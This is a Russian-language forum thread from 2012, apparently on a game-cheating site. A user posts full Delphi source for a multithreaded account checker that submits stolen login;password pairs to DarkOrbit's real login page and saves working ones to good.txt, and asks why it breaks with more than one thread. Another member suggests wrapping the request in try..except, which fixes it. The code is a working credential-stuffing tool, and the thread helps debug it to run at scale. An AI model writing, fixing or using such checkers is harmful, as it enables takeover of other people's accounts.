Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Больше 1 потока не ставиться((

-

Вопросы и ответы, обсуждения

- Ваши вопросы по Pascal/Delphi только в данном разделе

Ответ
 
Опции темы
Старый 12.06.2012, 21:19   #1
Заблокирован
 Сержант
Аватар для [Na`Vi]DendI
 
[Na`Vi]DendI на правильном пути[Na`Vi]DendI на правильном пути
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
Отправить сообщение для [Na`Vi]DendI с помощью Skype™
 
По умолчанию Больше 1 потока не ставиться((

Код:
TNewThread = class(TThread)
  private
   FAcc : string;
   FPas : string;
   Rez : Integer;
  protected
    procedure Execute; override;
  public
    procedure Sync;
    constructor Create(CreateSuspended: Boolean);
  end;

var
ssylka,result:string;
  Form1: TForm1;
  Accounts:Tstringlist;
  Thread, Acc:integer;
  Work:boolean;
  CS:TcriticalSection;
  GoodFile, BadFile: textfile;

implementation

{$R *.dfm}

constructor TNewThread.Create(CreateSuspended: Boolean);
begin
  inherited Create(CreateSuspended);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
 if OpenDialog1.Execute then
  begin
   Accounts.Clear;
   Accounts.LoadFromFile(OpenDialog1.FileName);
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
 Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt');
 Rewrite(GoodFile);
 Closefile(GoodFile);
 Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt');
 Rewrite(BadFile);
 Closefile(BadFile);
 GoodLabel.Caption:='0';
 Gauge1.MaxValue:=Accounts.Count;
 Gauge1.Progress:=0;
 Acc:=-1;
 Work:=true;
 for Thread:=1  to strtoint(Edit1.Text) do
  TNewThread.Create(false);
 Thread:=strtoint(Edit1.Text);
end;

procedure TNewThread.Execute;
var CurAcc:integer;
    post:Tstringlist;
begin
 while Work do
  begin
   CS.Enter;
   Inc(Acc);
   if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
   CS.Leave;

   if Work then
    begin
     FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
     FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
post:=tstringlist.Create;
post.Add('loginForm_default_username='+FAcc);
post.Add('loginForm_default_password='+FPas);
post.Add('loginForm_default_login_submit=Вход');
result:=form1.idhttp1.Post('http://www.darkorbit.ru/?locale=ru&aid=0',post);
if pos('selectInstanceHint',result)<>0 then
       Rez:=1;
 Synchronize(Sync);

    end;
  end;

 dec(Thread);
 if Thread=0 then ShowMessage('OK');
end;




procedure TNewThread.Sync;
begin
 case Rez of
   1:begin
   form1.Memo1.Lines.Add(PChar(FAcc+';'+FPas));
      Append(GoodFile);
      Writeln(GoodFile,FAcc+';'+FPas);
      Closefile(GoodFile);
      Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1);
      Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
     end;
 end;


end;


procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 Accounts.Free;
 CS.Free;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 Accounts:=Tstringlist.create;
 CS:=TcriticalSection.create;
end;

end.
вот вообщем и полный код программы,проблема в том что больше 1 потока не ставиться( 1 поток нормально работает ставлю 2 или больше выбивает ошибку сокетов...

Последний раз редактировалось [Na`Vi]DendI; 12.06.2012 в 22:37.
  Ответить с цитированием
Старый 12.06.2012, 23:47   #2
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Больше 1 потока не ставиться((

Почитайте про синхронизацию потоков.
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
Старый 13.06.2012, 00:28   #3
Заблокирован
 Сержант
Аватар для [Na`Vi]DendI
 
[Na`Vi]DendI на правильном пути[Na`Vi]DendI на правильном пути
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
Отправить сообщение для [Na`Vi]DendI с помощью Skype™
 
По умолчанию Re: Больше 1 потока не ставиться((

Цитата:
Сообщение от VeTaL_UAПосмотреть сообщение
Почитайте про синхронизацию потоков.

да я читал ,я поэтому наверное и создал тему по скольку не понял,можете просто сказать что не правильно и я пойму принцип ! буду очень благодарен !
  Ответить с цитированием
Старый 13.06.2012, 19:29   #4
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Больше 1 потока не ставиться((

Заключи отправку запроса в try..except и пропиши исключение. Это самое простое.
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
Старый 14.06.2012, 14:08   #5
Заблокирован
 Сержант
Аватар для [Na`Vi]DendI
 
[Na`Vi]DendI на правильном пути[Na`Vi]DendI на правильном пути
Регистрация: 06.06.2012
Сообщений: 131
Популярность: 102
Сказал(а) спасибо: 141
Поблагодарили 131 раз(а) в 78 сообщениях
Отправить сообщение для [Na`Vi]DendI с помощью Skype™
 
По умолчанию Re: Больше 1 потока не ставиться((

Цитата:
Сообщение от VeTaL_UAПосмотреть сообщение
Заключи отправку запроса в try..except и пропиши исключение. Это самое простое.

Вот теперь понял,спасибо большое)
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Помогите!] МОЖНО ЛИ соберать подогревы больше 50 и собирать больше 300папирос в день???? kip21 Общение и обсуждение (Тюряга ВК) 3 20.06.2011 18:17
[Помогите!] Не ставиться MSSQL SP4 Sanykrot Вопросы и ответы, обсуждения 0 12.06.2011 21:15
[Помогите!] TMsRdpClient (ActiveX) из потока. Mebius Вопросы и ответы, обсуждения 0 17.05.2011 17:02

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 21:26.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net